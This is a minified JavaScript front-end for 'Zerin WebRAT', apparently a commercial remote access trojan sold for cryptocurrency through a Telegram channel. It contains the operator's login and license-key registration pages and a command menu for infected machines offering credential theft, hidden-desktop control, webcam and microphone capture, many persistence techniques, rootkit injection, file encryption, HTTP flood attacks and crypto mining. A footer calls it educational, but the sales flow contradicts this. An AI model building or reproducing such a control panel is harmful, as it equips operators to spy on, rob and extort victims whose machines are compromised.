24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[s.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),s.jsxs("div",{className:"mt-8 text-center space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),s.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),s.jsxs(ot,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Started"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function l5(){const e=p.useRef(null);return p.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function a(){t.width=window.innerWidth,t.height=window.innerHeight}a(),window.addEventListener("resize",a);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",a)}},[]),s.jsxs(s.Fragment,{children:[s.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),s.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const $g="zerin.pro",c5="zerpanel-67ontoplol.top";function hx(){return window.location.hostname===$g||window.location.hostname===`www.${$g}`}function DA(){const e=rr(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await NE({username:t,password:r}),hx()){const f=et();if(f){window.location.href=`https://${c5}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof ai?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(l5,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[a&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:a})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),s.jsx("div",{className:"auth-stagger-5 pt-1",children:s.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",s.jsx(ot,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function RA(){const e=rr(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(""),[u,d]=p.useState(""),[f,m]=p.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==a){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}m(!0);try{if(await SE({username:t,password:r,license_key:l}),hx()){const g=et();if(g){window.location.href=`https://${c5}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof ai)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{m(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(l5,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:u})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),s.jsxs("div",{className:"auth-stagger-5",children:[s.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"confirmPassword",type:"password",value:a,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),s.jsxs("div",{className:"auth-stagger-6",children:[s.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),s.jsx("div",{className:"auth-stagger-7 pt-1",children:s.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",s.jsx(ot,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function Bc(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),a=Math.floor(i/60),o=Math.floor(a/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:a<60?`${a}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function ym(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function $A(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function wo(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function jo(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function Ws(e){return e.slice(0,8)}function u5(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function BA(e){return`data:image/bmp;base64,${e}`}function FA(e){return e.startsWith("Qk")}const Cn="w-3.5 h-3.5 flex-shrink-0",Xt={eye:s.jsxs("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:s.jsxs("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:s.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:s.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},WA=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),UA=new Set(["remove","exit","uninstall","shutdown"]),VA=new Set(["ban"]),Vf=[{label:"Monitoring",icon:Xt.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:Xt.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:Xt.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:Xt.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:Xt.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:Xt.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:Xt.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:Xt.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:Xt.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:Xt.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:Xt.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],HA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},KA={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},qA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},YA=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:a="alive",agentName:o})=>{const l=p.useRef(null),c=p.useRef(null),u=p.useRef(null),[d,f]=p.useState(null),[m,h]=p.useState({x:e,y:t}),[x,g]=p.useState(""),[y,v]=p.useState(-1),[b,w]=p.useState(-1),[j,k]=p.useState(!1),S=p.useRef(null),N=a==="dead",z=x.trim()?Vf.map($=>({...$,commands:$.commands.filter(L=>L.label.toLowerCase().includes(x.toLowerCase())||L.key.toLowerCase().includes(x.toLowerCase()))})).filter($=>$.commands.length>0||$.label.toLowerCase().includes(x.toLowerCase())).map($=>({...$,commands:$.commands.length>0?$.commands:Vf.find(L=>L.label===$.label).commands})):Vf;p.useEffect(()=>{if(n&&l.current){const $=l.current.getBoundingClientRect(),L=window.innerWidth,W=window.innerHeight;let B=e,U=t;e+$.width>L&&(B=L-$.width-8),t+$.height>W&&(U=W-$.height-8),h({x:Math.max(4,B),y:Math.max(4,U)})}else h({x:e,y:t})},[e,t,n]),p.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),k(!1))},[n]),p.useEffect(()=>{n&&requestAnimationFrame(()=>{var $;($=c.current)==null||$.focus()})},[n]),p.useEffect(()=>{if(!n)return;const $=L=>{l.current&&!l.current.contains(L.target)&&i()};return document.addEventListener("mousedown",$),()=>{document.removeEventListener("mousedown",$)}},[n,i]),p.useEffect(()=>()=>{S.current&&clearTimeout(S.current)},[]);const O=p.useCallback(()=>{if(!u.current)return;const $=u.current;$.style.top="0px";const L=$.getBoundingClientRect(),W=window.innerHeight;if(L.bottom>W-8){const B=L.bottom-W+8;$.style.top=`${-B}px`}},[]);if(p.useEffect(()=>{d&&requestAnimationFrame(O)},[d,O]),p.useEffect(()=>{if(!n)return;const $=L=>{var B;const W=z;if(W.length!==0)switch(L.key){case"ArrowDown":{if(L.preventDefault(),j){const U=W.find(F=>F.label===d);U&&w(F=>F{const F=UF.label===d);U&&w(F=>F>0?F-1:U.commands.length-1)}else v(U=>{const F=U>0?U-1:W.length-1;return f(W[F].label),F});break}case"ArrowRight":case"Enter":{if(j&&L.key==="Enter"){L.preventDefault();const U=W.find(F=>F.label===d);U&&b>=0&&bdocument.removeEventListener("keydown",$)},[n,z,d,j,y,b,i]),!n)return null;const _=($,L)=>{S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{f($),v(L),k(!1),w(-1)},60)},T=()=>{S.current&&clearTimeout(S.current)},P=$=>{N&&$.nav.action!=="remove"&&$.nav.action!=="ban"||r($.key,$.nav)},R=m.x+200+220>window.innerWidth,V=$=>$===0?!1:z[$].group!==z[$-1].group;return s.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:m.x,top:m.y},onMouseLeave:()=>{f(null),v(-1),k(!1),w(-1)},children:s.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[s.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[s.jsxs("span",{className:"relative inline-flex",children:[a==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${HA[a]}`})]}),s.jsxs("div",{className:"flex flex-col min-w-0",children:[s.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),s.jsx("span",{className:`font-mono text-[10px] ${qA[a]}`,children:KA[a]})]})]}),s.jsx("div",{className:"px-2 pt-2 pb-1",children:s.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[Xt.search,s.jsx("input",{ref:c,type:"text",value:x,onChange:$=>{g($.target.value),v(-1),f(null),k(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&s.jsx("button",{onClick:()=>{var $;g(""),($=c.current)==null||$.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 